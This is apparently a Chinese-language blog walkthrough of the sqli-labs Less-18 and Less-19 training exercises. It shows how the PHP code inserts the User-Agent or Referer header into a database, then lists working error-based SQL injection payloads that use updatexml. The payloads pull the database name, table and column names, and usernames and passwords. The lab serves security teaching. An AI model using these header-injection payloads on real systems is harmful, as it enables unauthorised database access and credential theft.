sqli-labs Less-18/ Less-19 POST-Header Injection
Less-18 POST-Header Injection-Uagent field-Error Based
POST方式,头部 User-Agent: 注入
Less-19 POST-Header Injection-Referer field-Error based
POST方式,头部 Referer: 注入
Less-18 / Less-19 方法一样,只是注入点不同,下面以Less-18为例说明
1. 页面分析
当登陆失败时,只会返回用户的IP地址及登陆失败的提示图。
当登陆成功时,会返回用户的IP地址、user-agent信息及登陆成功的提示图。
2. PHP代码分析
通过分析代码,Username, Password的参数进行了过滤,无法进行注入。
(详细说明请参考Less-17中的说明,https://blog.****.net/bigblue00/article/details/108221236 )
代码中有插入语句:
$insert=“INSERT INTO security
.uagents
(uagent
, ip_address
, username
) VALUES (‘$uagent‘, ‘$IP‘, $uname)”;将useragent和ip插入到数据库中,可以尝试利用这个来进行注入,首先这里要输入正确的账号和密码才能绕过账号密码判断,才能进入处理uagent部分。
3.测试注入点
在user-agent处加上单引号,返回的结果中出现了报错信息:
4.获取数据库信息
可尝试利用基于报错的注入方法,获取数据库信息:
4.1,获取数据库名:
先闭合insert语句,来判断一下,
user-agent处输入:1’,1,1,1)#
返回结果中提示:查询列数不匹配
改成1’,1,1)#后,返回正常,而且没有报错,说明成功绕过。也可以确定,insert传入的是3个参数。
4.2、获取数据名
’ or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) , 1, 1) #
报错信息中返回数据库名:security
4.3、获取数据表
’ or updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) , 1, 1) #
报出表名:users
4.4、获字段信息
’ or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name=‘users’ limit 4,1),0x7e),1) , 1, 1) #
查询到username字段
’ or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name=‘users’ limit 5,1),0x7e),1) , 1, 1) #
查询到password字段
4.5、获取username, password 数据
’ or updatexml(1,concat(0x7e,(SELECT concat(username,’|’,password) from users limit 0,1),0x7e),1) , 1, 1) #